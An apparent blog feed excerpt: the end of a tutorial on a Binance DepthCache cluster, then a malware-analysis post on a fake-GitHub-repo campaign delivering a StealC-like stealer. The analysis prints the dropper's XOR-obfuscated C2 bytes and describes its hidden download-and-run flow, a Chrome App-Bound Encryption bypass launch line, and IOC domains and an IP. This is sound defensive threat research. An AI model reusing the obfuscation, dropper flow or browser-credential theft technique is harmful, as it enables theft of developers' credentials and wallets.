<li><p>create them</p>
</li>
</ul>
<p>This is the moment where the setup usually gets its first “okay, that is actually cool” reaction.</p>
<p>You are not creating one local cache in one process.</p>
<p>You are creating <strong>running Binance DepthCaches</strong> that are:</p>
<ul>
<li><p>synchronized</p>
</li>
<li><p>visible</p>
</li>
<li><p>replicated if you want</p>
</li>
<li><p>ready to query over REST</p>
</li>
</ul>
<p>Watch the tiles after creation.</p>
<p>They should move into a synchronized state. That is one of the strongest parts of the dashboard: it does not just show that a cache exists, it shows whether it is actually ready to trust.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/8b40d86b-32d3-4f7e-afff-fa39906cc977.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/6d4b1264-bab4-44d8-b7de-5f10393f4cc2.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/3cd0362b-eeb9-4874-8732-995cee0fd938.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7370fc3f-80de-4c5a-9f51-3a2727559acf.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e9118bec-87ff-4a7d-94d7-180bced083ac.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/ef807ddd-e224-4c29-9f6a-ea5d633fb45e.png" alt="" style="display:block;margin:0 auto" />

<p>The replicas are intentionally started with a slight delay. After a few minutes, they should all be in sync:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/4c8b3e41-407b-4d9a-a6bf-dab40c969c82.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/c2ec65c5-473e-4790-94de-2af71d1af37f.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 7 — Kill a node and watch failover happen</h2>
<p>Now for the part that makes the architecture feel real.</p>
<p>Create at least one market with replica count <code>3</code>.</p>
<p>Then:</p>
<ol>
<li><p>open the <strong>DCNs</strong> tab in the dashboard</p>
</li>
<li><p>find a DCN that hosts that market</p>
</li>
<li><p>copy the DCN name</p>
</li>
<li><p>go back to the operator console</p>
</li>
<li><p>remove that DCN by name</p>
</li>
</ol>
<p>Example:</p>
<pre><code class="language-text">ubdcc&gt; remove-dcn &lt;dcn-name&gt;
</code></pre>
<p>What should happen:</p>
<ul>
<li><p>the node disappears</p>
</li>
<li><p>replica count temporarily drops</p>
</li>
<li><p>the scheduler redistributes work</p>
</li>
<li><p>a new replica comes up</p>
</li>
<li><p>the market remains available through another replica</p>
</li>
</ul>
<p>That is the difference between “I have a cache” and “I have a cache that survives node loss”.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f1f2420c-d47d-45cc-a9fe-2dc2d1ee7083.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/fa868a44-d74c-4f21-ae72-ba85e60ee594.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/c89f0a86-3338-4853-8b23-c63fb4a34892.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 8 — Query the DepthCache over REST</h2>
<p>Before touching application code, test from the shell.</p>
<pre><code class="language-bash">curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&amp;market=BTCUSDT&amp;limit_count=5'
</code></pre>
<p>Or with HTTPie:</p>
<pre><code class="language-bash">http GET 'http://127.0.0.1:42081/get_asks?exchange=binance.com&amp;market=BTCUSDT&amp;limit_count=5'
</code></pre>
<p>This is where the practical benefit becomes obvious.</p>
<p>You can hammer the local cluster with reads as much as you want.</p>
<p>Your consumers are no longer going back to Binance for fresh snapshots over and over again. They are reading from the synchronized DepthCache that UBDCC is already maintaining.</p>
<p>That is faster, easier on rate limits, and especially useful once several bots, dashboards, and services all need the same market view at the same time.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/47307998-6cd0-490b-9208-2ef3566d64ba.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 9 — Generate client code for your language</h2>
<p>Now open the <strong>API Builder</strong> in the dashboard.</p>
<p>This is one of the strongest parts of the whole setup.</p>
<p>The dashboard can generate snippets for:</p>
<ul>
<li><p>curl</p>
</li>
<li><p>HTTPie</p>
</li>
<li><p>Python</p>
</li>
<li><p>JavaScript</p>
</li>
<li><p>Go</p>
</li>
<li><p>C#</p>
</li>
<li><p>Java</p>
</li>
<li><p>Rust</p>
</li>
<li><p>PHP</p>
</li>
<li><p>C/C++</p>
</li>
</ul>
<p>So if your stack is mixed, the onboarding flow becomes very simple:</p>
<ul>
<li><p>create the DepthCaches once</p>
</li>
<li><p>query them from any language</p>
</li>
<li><p>copy the snippet</p>
</li>
<li><p>paste it into your project</p>
</li>
</ul>
<p>That is exactly how a system like this becomes useful outside one developer’s Python process.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/94a2a76b-161a-4b8c-9d6e-29f577c61d4b.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7f026979-386f-4ac1-95dc-3717acd159cf.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/70c30e19-5bdd-48cb-b908-c956d89da465.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/6507d516-d30f-4a5d-86c2-f76d7974c979.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/6d4afc7a-f40b-4763-a493-8961c2a282d8.png" alt="" style="display:block;margin:0 auto" />

<h2>Simple Python example</h2>
<p>Python users can go two ways.</p>
<h3>Raw HTTP</h3>
<pre><code class="language-python">import requests

response = requests.get(
    "http://127.0.0.1:42081/get_asks",
    params={
        "exchange": "binance.com",
        "market": "BTCUSDT",
        "limit_count": 5
    },
    timeout=10
)

print(response.json())
</code></pre>
<h3>Official cluster client</h3>
<p>If you already live in the UNICORN Binance world, you can also use the official cluster-aware client path instead of raw HTTP.</p>
<p>That gives Python users a smooth migration path from local caches to shared cluster-backed access.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/22cc4df2-6ff4-4e07-8d28-46c387a201a9.png" alt="" style="display:block;margin:0 auto" />

<h2>Related projects</h2>
<p>If you want to go deeper into the stack:</p>
<ul>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache"><strong>UBLDC</strong></a> — standalone local DepthCaches for single-process Python use</p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api"><strong>UBWA</strong></a> — Binance WebSocket layer underneath the stack</p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-trailing-stop-loss"><strong>UBTSL</strong></a> — trailing stop-loss engine from the same suite</p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-suite"><strong>UNICORN Binance Suite</strong></a> — the umbrella project</p>
</li>
</ul>
<h2>Final thoughts</h2>
<p>The nice thing about UBDCC is that it starts simple.</p>
<p>You come for a working Binance DepthCache.</p>
<p>What you also get is:</p>
<ul>
<li><p>correct synchronization</p>
</li>
<li><p>explicit cache state</p>
</li>
<li><p>replicas</p>
</li>
<li><p>failover</p>
</li>
<li><p>browser management</p>
</li>
<li><p>multi-language access</p>
</li>
<li><p>fast local startup</p>
</li>
<li><p>room to scale later</p>
</li>
</ul>
<p>That is a lot to get from a <code>pip install</code>.</p>
<p>Related background:</p>
<ul>
<li><p><a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Your Binance Order Book Is Wrong — Here's Why</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">Why Your Binance Order Book Should Not Live Inside Your Bot</a></p>
</li>
</ul>
<p>If you want to try it:</p>
<ul>
<li><p><strong>UBDCC:</strong> <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster">https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster</a></p>
</li>
<li><p><strong>UBDCC Dashboard:</strong> <a href="https://github.com/oliver-zehentleitner/ubdcc-dashboard">https://github.com/oliver-zehentleitner/ubdcc-dashboard</a></p>
</li>
<li><p><strong>Telegram:</strong> <a href="https://t.me/unicorndevs">https://t.me/unicorndevs</a></p>
</li>
</ul>
<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space]]></title><description><![CDATA[TL;DR: Someone set up 19 fake GitHub repos across 17 distinct accounts*, impersonating popular Python open-source projects — including my own UNICORN Binance Suite. Each repo carried a small Python dr]]></description><link>https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space</link><guid isPermaLink="true">https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space</guid><category><![CDATA[Security]]></category><category><![CDATA[Malware]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[threat intelligence]]></category><category><![CDATA[stealer]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Thu, 23 Apr 2026 14:36:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/4ff0f957-5ffb-47df-8999-301215143938.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>TL;DR: Someone set up</em> <em><strong>19 fake GitHub repos across 17 distinct accounts</strong></em>*, impersonating popular Python open-source projects — including my own UNICORN Binance Suite. Each repo carried a small Python dropper that contacted* <code>api.nailproxy.space</code><em>, retrieved a native Windows loader, and ultimately deployed a payload</em> <em><strong>consistent with StealC v2</strong></em>*, including Chrome App-Bound Encryption bypass behavior. When I first wrote about the fake repositories, the* <em><strong>GitHub delivery chain</strong></em> <em>behind them was still undocumented in public reporting. This post covers how I found it, what the malware chain does, and what to do if you ran any of the affected repos.</em></p>
<blockquote>
<p><strong>Update (2026-04-23):</strong></p>
<ul>
<li><p>19 fake GitHub repos confirmed across 17 accounts</p>
</li>
<li><p><code>nailproxy.space</code> identified as the delivery-domain root; <code>api.nailproxy.space</code> operated as delivery C2</p>
</li>
<li><p>final-stage payload behavior consistent with StealC v2</p>
</li>
<li><p>GitHub takedown requested</p>
</li>
<li><p>IOCs submitted to ThreatFox/AlienVault and published into the public threat-intelligence ecosystem</p>
</li>
</ul>
</blockquote>
<hr />
<h2>How it started</h2>
<p>A few weeks ago I was doing some basic SEO work for my UBS projects.</p>
<p>On a Wednesday morning, still in bed with coffee, I did something most open-source maintainers have probably done at some point: I searched Google for my own project name — in this case, “unicorn binance websocket api” — just to see what showed up.</p>
<p>One of the top results was not mine.</p>
<p>The repository name and description were close enough to my project to be immediately noticeable, but it was not pretending to be my exact repository. It presented itself as a CLI-style wrapper built on top of UBWA.</p>
<p>What triggered the closer look was the social proof.</p>
<p>The repository was only about a month old, had <strong>zero issues</strong>, <strong>zero pull requests</strong>, and almost no visible community activity — yet it had already accumulated <strong>more stars than my actual project</strong>. The fork count also looked suspiciously high, and the overall relationship between age, activity, stars, and forks did not look organic.</p>
<p>That was the point where this stopped looking like a strange third-party wrapper and started looking like something deceptive. Once I started reading the code, it became obvious that this was not just opportunistic naming — it was malicious.</p>
<p>That was the beginning of the rabbit hole.</p>
<p>The initial write-up went up the next day:</p>
<ul>
<li><a href="https://blog.technopathy.club/nailproxy-space-github-malware-campaign">nailproxy.space: A Multi-Repository GitHub Malware Campaign</a></li>
</ul>
<p>At that point I had already confirmed a set of fake repositories and filed a GitHub report. What I did <strong>not</strong> know yet was what the malware chain actually did after the victim ran the code.</p>
<p>This post is about that part — and about the second question that naturally followed once the first one was answered:</p>
<blockquote>
<p>What else is this operator doing, and how much of this campaign is actually visible?</p>
</blockquote>
<p>One point is worth stating precisely from the beginning: the <strong>GitHub delivery chain</strong> was undocumented before this analysis. That does <strong>not</strong> mean every backend component was unknown. One of the later-stage infrastructure elements — <code>62.60.226.113</code> — had already been tagged individually on ThreatFox as StealC-related infrastructure in December 2025. What had <strong>not</strong> been documented publicly was the connection between that backend and this specific fake-repository delivery chain, or the role of <code>nailproxy.space</code> within it.</p>
<hr />
<h2>The two questions</h2>
<p>By the time I sat down to work through this properly, there were two concrete questions I wanted answered:</p>
<ol>
<li><p><strong>What does the malware actually do on a victim machine?</strong><br />It is one thing to say “this is malicious.” It is another to tell affected developers exactly which credentials, sessions, wallets, and tokens they should now assume are compromised.</p>
</li>
<li><p><strong>How large is the operation behind it?</strong><br />The fake GitHub repos were the visible part. I wanted to know whether they were the entire campaign or just one delivery channel for something bigger.</p>
</li>
</ol>
<p>Both questions turned out to be answerable.</p>
<hr />
<h2>A quick note on resources</h2>
<p>Before the technical part, one thing is worth saying clearly: I did this on a personal-developer budget, not on a commercial threat-intel budget.</p>
<p>That meant leaning on free tiers and public services where possible, and accepting that some pivots and sample sources would simply be out of reach. A well-equipped threat-intel team could probably have moved faster and pulled in more data from premium services. But most of what follows was still reproducible with public tooling, free APIs, and a few focused hours.</p>
<p>The services that mattered most were:</p>
<ul>
<li><p><strong>VirusTotal</strong> — for hashes, domains, IP metadata, sample upload, and especially the per-sandbox behavior views</p>
</li>
<li><p><strong>abuse.ch (ThreatFox / MalwareBazaar / URLhaus)</strong> — for IOC correlation and public malware context</p>
</li>
<li><p><strong>AlienVault</strong> — for IOC correlation and public malware context</p>
</li>
<li><p><strong>Hybrid Analysis</strong> — for metadata on dropped files and cross-sample visibility</p>
</li>
<li><p><strong>Shodan</strong> — useful in limited ways even on the free tier</p>
</li>
<li><p><strong>GitHub code search</strong> — essential for scoping the public-facing repository cluster</p>
</li>
<li><p><strong>crt.sh</strong> — for certificate-transparency pivots</p>
</li>
</ul>
<p>And yes, <strong>AI-assisted analysis</strong> played a real role throughout.</p>
<p>I want to be transparent about that, because it genuinely changed the speed of the work. Writing fetchers, pivoting on new indicators, normalizing data from different APIs, and moving quickly from one lead to the next is exactly where that kind of tooling is useful. Every substantive finding still had to be checked against raw output, but the glue work was dramatically faster.</p>
<hr />
<h2>What the malware does — the kill chain</h2>
<p>The chain breaks down into three stages:</p>
<ol>
<li><p>a Python dropper embedded in the fake repositories</p>
</li>
<li><p>a native Windows loader</p>
</li>
<li><p>the final payload</p>
</li>
</ol>
<p>Each stage is different, and each answered a different part of the investigation.</p>
<h3>Stage 1 — the Python dropper</h3>
<p>If a victim clones one of the fake repositories and runs <code>main.py</code>, the entry point is wrapped in an <code>@ensure_env</code> decorator imported from a <code>utils/</code> module.</p>
<p>That decorator is the trigger.</p>
<p>On first call, it runs a short initialization sequence: operating-system check, Python-version check, architecture check (<code>x64</code>/<code>x86</code> only; ARM exits quietly), then a delivery handshake to the campaign infrastructure.</p>
<p>The endpoint construction is hidden inside <code>compat.py</code>:</p>
<pre><code class="language-python">_COMPAT_LEVEL = 194   # disguised as a "compat level"

_API_SCHEMA = bytes([0xAA, 0xB6, 0xB6, 0xB2, 0xB1])
_API_HOST   = bytes([0xF8, 0xED, 0xED, 0xA3, 0xB2, 0xAB, 0xEC])
_API_DOMAIN = bytes([0xAC, 0xA3, 0xAB, 0xAE, 0xB2, 0xB0])
_API_TLD    = bytes([0xAD, 0xBA, 0xBB, 0xEC, 0xB1, 0xB2, 0xA3, 0xA1, 0xA7])
</code></pre>
<p>A single-byte XOR against <code>0xC2</code> decodes this to:</p>
<pre><code class="language-text">https://api.nailproxy.space
</code></pre>
<p>The HMAC-SHA256 secret used for the handshake is hidden in the same file, presented as a dictionary of “platform hashes”.</p>
<p>From there, the flow is straightforward:</p>
<ul>
<li><p><code>POST /api/v1/auth/session</code> returns a nonce and timestamp</p>
</li>
<li><p>the dropper signs the values with the embedded HMAC key</p>
</li>
<li><p><code>POST /api/v1/data/sync</code> returns an AES-GCM-encrypted blob</p>
</li>
<li><p>the Python code decrypts it</p>
</li>
<li><p>checks for an <code>MZ</code> header</p>
</li>
<li><p>writes it to <code>%TEMP%\~DF&lt;random&gt;.exe</code></p>
</li>
<li><p>launches it with <code>CREATE_NO_WINDOW</code></p>
</li>
<li><p>deletes the executable afterwards</p>
</li>
</ul>
<p>There is no console window and usually nothing obvious for the user to notice.</p>
<p>One detail stood out immediately: four of the five <code>utils/*.py</code> files were byte-identical across the fake repositories I confirmed. Only <code>compat.py</code> varied — and even that varied in a controlled way, with the same exact file size and the same purpose. The logic remained the same; the constants rotated just enough to break simple file-hash matching.</p>
<p>That is not an accidental copy-paste mess. That is deliberate operational design.</p>
<h3>Stage 2 — the loader</h3>
<p>The decrypted payload is a Windows PE64 executable of roughly 11.1 MB that masquerades as <code>sysconf.exe</code>.</p>
<p>Its metadata is designed to look harmless: fake Microsoft-style branding, fake service names, plausible-looking version information. In Task Manager it would not look immediately suspicious to most users.</p>
<p>What made this binary interesting was how little static visibility it offered.</p>
<ul>
<li><p>I got <strong>no useful YARA hits</strong> against a large public ruleset covering major commodity stealers.</p>
</li>
<li><p><strong>FLOSS recovered nothing meaningful</strong> — no clear strings, no stack-built strings, no easy decoded artifacts.</p>
</li>
<li><p>It had <strong>no prior public submissions</strong> when first uploaded for analysis.</p>
</li>
</ul>
<p>At the same time, <code>capa</code> still exposed important structural clues:</p>
<ul>
<li><p>FNV-style API hashing</p>
</li>
<li><p>PE export-table walking</p>
</li>
<li><p>ChaCha20/Salsa20-related capability signals</p>
</li>
<li><p>multi-layer XOR behavior</p>
</li>
<li><p>evidence of a command/interpreter style architecture</p>
</li>
<li><p>a heavily opaque PE layout dominated by a large <code>.data</code> section</p>
</li>
</ul>
<p>That combination strongly suggested a custom or private loader, not a commodity off-the-shelf first stage.</p>
<p>What it did <strong>not</strong> justify, on its own, was a direct family attribution to Rhadamanthys or anything else. The architecture was loader-like and heavily obfuscated, but the value here was in understanding its role in the chain, not in forcing a family label where the evidence was thinner than the behavior.</p>
<h3>Stage 3 — the final payload</h3>
<p>Static analysis of the loader only got me so far. The next step required dynamic behavior.</p>
<p>When I first uploaded the sample to VirusTotal, the top-level behavior summary was misleadingly empty: no visible process tree, no DNS, no obvious file writes, no network activity.</p>
<p>The per-sandbox view told a different story.</p>
<p>Some sandboxes were clearly being detected and evaded. One of them — CAPE — made it far enough to reveal the full chain:</p>
<pre><code class="language-text">sysconf.exe
  ├── drops: msedgeview.dll
  ├── launches: rundll32.exe msedgeview.dll,#3
  └── launches: chrome.exe --disable-gpu --no-sandbox --disable-extensions
                 --user-data-dir=%TEMP%\v20_0000FF100B60 about:blank
</code></pre>
<p>That behavior matters.</p>
<p>The dropped DLL was small — about 55 KB — compared to the 11 MB loader that delivered it. That size imbalance strongly suggests the loader’s job is primarily staging, anti-analysis, and controlled execution rather than carrying the final value itself.</p>
<p>The Chrome launch line is even more important. The temporary <code>v20_...</code> profile path is highly characteristic of modern browser-theft workflows targeting <strong>Chrome App-Bound Encryption</strong>, introduced in recent Chrome builds. Instead of trying to decrypt protected secrets directly, the malware abuses Chrome’s own execution context to do it.</p>
<p>The network behavior showed two distinct roles.</p>
<h3>Delivery infrastructure</h3>
<ul>
<li><p><code>https://api.nailproxy.space</code></p>
</li>
<li><p><code>/api/v1/auth/session</code></p>
</li>
<li><p><code>/api/v1/data/sync</code></p>
</li>
</ul>
<h3>Exfiltration / tasking infrastructure</h3>
<ul>
<li><p><code>https://62.60.226.113:6673</code></p>
</li>
<li><p><code>https://spellmarketplace.club</code></p>
</li>
</ul>
<p>Both exfiltration endpoints used the same path style:</p>
<pre><code class="language-text">/&lt;24-character-alphanumeric-id&gt;/[h|g|u]
</code></pre>
<p>So <code>api.nailproxy.space</code> appears to be the <strong>delivery channel</strong>, while the actual post-infection communications go elsewhere.</p>
<h3>Payload attribution: consistent with StealC v2, high-confidence inferred</h3>
<p>The strongest attribution signal came from the exfiltration side.</p>
<p>The IP <code>62.60.226.113</code> had already appeared in public StealC-related reporting on ThreatFox before this GitHub campaign became visible. Combined with the observed behavior — DLL execution via <code>rundll32</code>, browser abuse for Chrome decryption, geolocation probes, the URL-path shape, and the overall post-infection flow — the final-stage behavior is best described as <strong>consistent with StealC v2</strong>.</p>
<p>The evidence for that inference is:</p>
<ul>
<li><p><code>62.60.226.113</code> had already been tagged independently on ThreatFox as StealC-related infrastructure</p>
</li>
<li><p>the URL-path schema <code>/&lt;24-char-alnum&gt;/[h|g|u]</code> matches documented StealC-style behavior</p>
</li>
<li><p>the Chrome App-Bound Encryption bypass pattern matches documented StealC v2 reporting</p>
</li>
<li><p>the <code>rundll32</code>-based DLL execution and geolocation probes match public StealC v2 tradecraft descriptions</p>
</li>
<li><p>the overall anti-analysis and post-infection behavior fit the same profile</p>
</li>
</ul>
<p>What I am <strong>not</strong> claiming is a direct family signature match for the final DLL. I did <strong>not</strong> get a direct public YARA hit tying this exact sample to StealC, and I did <strong>not</strong> independently unpack and reverse the DLL itself. The attribution is therefore best framed as <strong>high-confidence inferred from infrastructure correlation and behavioral overlap</strong>, not as a direct code-signature confirmation.</p>
<p>That distinction matters.</p>
<hr />
<h2>What a victim should assume is exposed</h2>
<p>Based on the observed behavior <strong>plus</strong> public StealC v2 reporting, a victim should assume exposure of at least the following categories of data:</p>
<ul>
<li><p>saved browser credentials</p>
</li>
<li><p>browser cookies and active sessions</p>
</li>
<li><p>autofill data and browsing history</p>
</li>
<li><p>browser-based wallet-extension data</p>
</li>
<li><p>desktop wallet files where present</p>
</li>
<li><p>Telegram Desktop session data</p>
</li>
<li><p>Discord tokens/session artifacts</p>
</li>
<li><p>locally stored credentials for developer, cloud, VPN, FTP, or remote-access tooling</p>
</li>
<li><p>files in user directories, depending on configuration and operator choices</p>
</li>
</ul>
<p>For the likely audience of these lures — developers, traders, crypto-adjacent users, and technically comfortable individual operators — that combination is severe.</p>
<p>If a victim used browser-based exchange sessions, API keys, local wallets, cloud credentials, or developer tokens on the affected machine, they should assume those assets are compromised until proven otherwise.</p>
<hr />
<h2>How large is the backend?</h2>
<p>This part was informative in a different way.</p>
<h3>The GitHub-facing cluster</h3>
<p>Based on the available code-search pivots, the <strong>public GitHub repository cluster appears bounded for now</strong>.</p>
<p>A code search against three distinctive comment strings from the byte-identical <code>utils/*.py</code> modules returned <strong>exactly the same 19 repositories across all three queries</strong>. That is strong convergent evidence for the public-facing scope.</p>
<p>There are important caveats:</p>
<ul>
<li><p>GitHub code search only covers <strong>public</strong> repositories</p>
</li>
<li><p>very recent repositories might not yet be indexed</p>
</li>
<li><p>private repositories would not appear</p>
</li>
<li><p>repositories already removed during the takedown process would not appear</p>
</li>
</ul>
<p>Within those limits, the cleanest statement is:</p>
<blockquote>
<p><strong>19 confirmed public repos, likely complete for the publicly visible and indexed scope at the time of analysis.</strong></p>
</blockquote>
<p>Those 19 fake repos were spread across <strong>17 distinct accounts</strong>, with two accounts contributing two repos each.</p>
<h3>The real infrastructure</h3>
<p>The exfiltration side was more interesting.</p>
<p>The IP <code>62.60.226.113</code> appears to sit on shared hosting infrastructure rather than on a dedicated operator-owned host. In other words, it should not be treated as a unique single-campaign asset. That matters because over-pivoting on the IP alone would create noise and false positives.</p>
<p>At the same time, I found evidence of at least one <strong>additional loader sample</strong> associated with the same broader operator pattern and the same <code>spellmarketplace.club</code> exfiltration side, but not obviously delivered through the same GitHub repo chain.</p>
<p>That suggests the fake GitHub repositories are likely <strong>one delivery channel</strong>, not the whole operation.</p>
<hr />
<h2>Timeline</h2>
<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody><tr>
<td>2025-12-15</td>
<td><code>62.60.226.113</code> appears in ThreatFox as StealC-related infrastructure</td>
</tr>
<tr>
<td>2026-03-05</td>
<td><code>spellmarketplace.club</code> appears in operator-linked infrastructure timeline</td>
</tr>
<tr>
<td>2026-03-12</td>
<td>the second-level domain <code>nailproxy.space</code> is registered; <code>api.nailproxy.space</code> is later operated as the delivery-C2 subdomain</td>
</tr>
<tr>
<td>2026-03-03 to 2026-03-09</td>
<td>cluster of fake GitHub repositories created</td>
</tr>
<tr>
<td>2026-04-18</td>
<td>stage-3 DLL observed on VirusTotal</td>
</tr>
<tr>
<td>2026-04-19</td>
<td>sibling loader observed on VirusTotal</td>
</tr>
<tr>
<td>2026-04-22</td>
<td>campaign discovered during routine project-name search; first public write-up and GitHub report filed</td>
</tr>
<tr>
<td>2026-04-23</td>
<td>deeper stage-2 / stage-3 linkage established; IOCs submitted to ThreatFox and published there under my ThreatFox user profile</td>
</tr>
<tr>
<td>2026-05-05</td>
<td>submitted IOCs to AlienVault</td>
</tr>
</tbody></table>
<hr />
<h2>What to do if you ran one of these repositories</h2>
<p>If you executed <code>main.py</code> or any equivalent entry file from one of the fake repositories on Windows, I would treat that machine as compromised.</p>
<p>In practical order:</p>
<ol>
<li><p><strong>Disconnect the system</strong> from the network.</p>
</li>
<li><p><strong>Preserve evidence if needed</strong>, then wipe and reinstall rather than trying to “clean” it in place.</p>
</li>
<li><p><strong>Rotate every password</strong> used in any browser on that machine, prioritizing:</p>
<ul>
<li><p>exchange and banking accounts</p>
</li>
<li><p>email accounts</p>
</li>
<li><p>GitHub / GitLab</p>
</li>
<li><p>cloud providers</p>
</li>
<li><p>VPN / SSO</p>
</li>
</ul>
</li>
<li><p><strong>Invalidate active sessions</strong> anywhere that supports it.</p>
</li>
<li><p><strong>Revoke and reissue API keys</strong>, including exchange, cloud, CI/CD, GitHub, and PyPI tokens.</p>
</li>
<li><p><strong>Treat browser-extension wallets and local-wallet material as exposed</strong> and move funds to fresh wallets created on trusted hardware.</p>
</li>
<li><p><strong>Review Telegram, Discord, and other persistent-session apps</strong> and invalidate all active sessions.</p>
</li>
<li><p><strong>Inform employers or vendors</strong> if any corporate credentials, tokens, or keys were present on that machine.</p>
</li>
</ol>
<p>Speed matters. The longer the gap between execution and response, the greater the attacker’s opportunity to cash out sessions, credentials, and wallets.</p>
<hr />
<h2>IOCs</h2>
<h3>Hashes</h3>
<pre><code class="language-text">loader (stage 2):
251037ceebfbacd419b663ebcf0e01ec80a2c46dbfc85f66492c8585b481fb8c

stealer DLL (stage 3):
c27590c766583599eac98ed3e20c54e49c792be409f126577e7475294affac1f

sibling loader:
155dc73761ebaab0e4f5c0e18cf09dbd5728ce61361db218a5727355ca8adc1a

stage-1 Python module hashes:
utils/bootstrap.py : 54111f7e5f7aa425704fb45bf79d4e354cfb959f2c22aee6cbb79730d5a6a3aa
utils/http.py      : b3668182408c4078e20c04d03a04804bc9640238361af9a15d44c3950192eedc
utils/integrity.py : 041f48d92b7b410c93c83d8352e3b0c18ca2e10dfce8cbc38748ab862b08982e
utils/__init__.py  : 37380d20800d196e3a20fc98fba80d1365a63acbf9dadad7debc48e157520edd
run.bat            : c5866b202eb5fc7009ee045952d893c1b373d965f9491f8502075de11c132d62
</code></pre>
<h3>Network</h3>
<pre><code class="language-text">delivery:
https://api.nailproxy.space
/api/v1/auth/session
/api/v1/data/sync

exfiltration/tasking:
62.60.226.113:6673
https://spellmarketplace.club

pre-exfil geolocation probes:
ip-api.com
ipinfo.io
ipapi.co
</code></pre>
<h3>Repository cluster</h3>
<p>The confirmed fake GitHub repositories are listed in the earlier campaign post:</p>
<ul>
<li><a href="https://blog.technopathy.club/nailproxy-space-github-malware-campaign">nailproxy.space: A Multi-Repository GitHub Malware Campaign</a></li>
</ul>
<p>The related IOCs were also submitted to <a href="https://threatfox.abuse.ch/user/12877/">ThreatFox</a>/<a href="https://otx.alienvault.com/user/oliver-zehentleitner">AlienVault</a> and are now part of the public threat intelligence ecosystem.</p>
<hr />
<h2>Two practical lessons for defenders</h2>
<p>Two technical points are worth highlighting for anyone doing similar work.</p>
<h3>1. Per-sandbox behavior matters</h3>
<p>A summary behavior view can miss the entire chain if some sandboxes are evaded cleanly. In this case, looking only at the top-level behavior summary would have left the sample looking inert.</p>
<p>The useful data came from the <strong>per-sandbox</strong> views.</p>
<h3>2. The best correlation marker is not just the IP</h3>
<p>The shared exfiltration host is on shared infrastructure. The more useful operator marker is the combination of:</p>
<ul>
<li><p>custom-port HTTPS</p>
</li>
<li><p>the <code>/&lt;24-char&gt;/[h|g|u]</code> path shape</p>
</li>
<li><p>the <code>sysconf.exe</code> masquerade pattern</p>
</li>
<li><p>the delivery link back to <code>api.nailproxy.space</code></p>
</li>
</ul>
<p>That combination is far more useful than the IP by itself.</p>
<hr />
<h2>Final note</h2>
<p>What started as a simple self-search for my own project name turned into something much bigger.</p>
<p>First it looked like one fraudulent repository. Then it became a small GitHub campaign. Then the delivery chain opened up into a loader and a final-stage payload consistent with StealC v2.</p>
<p>That progression is exactly why these fake repositories matter.</p>
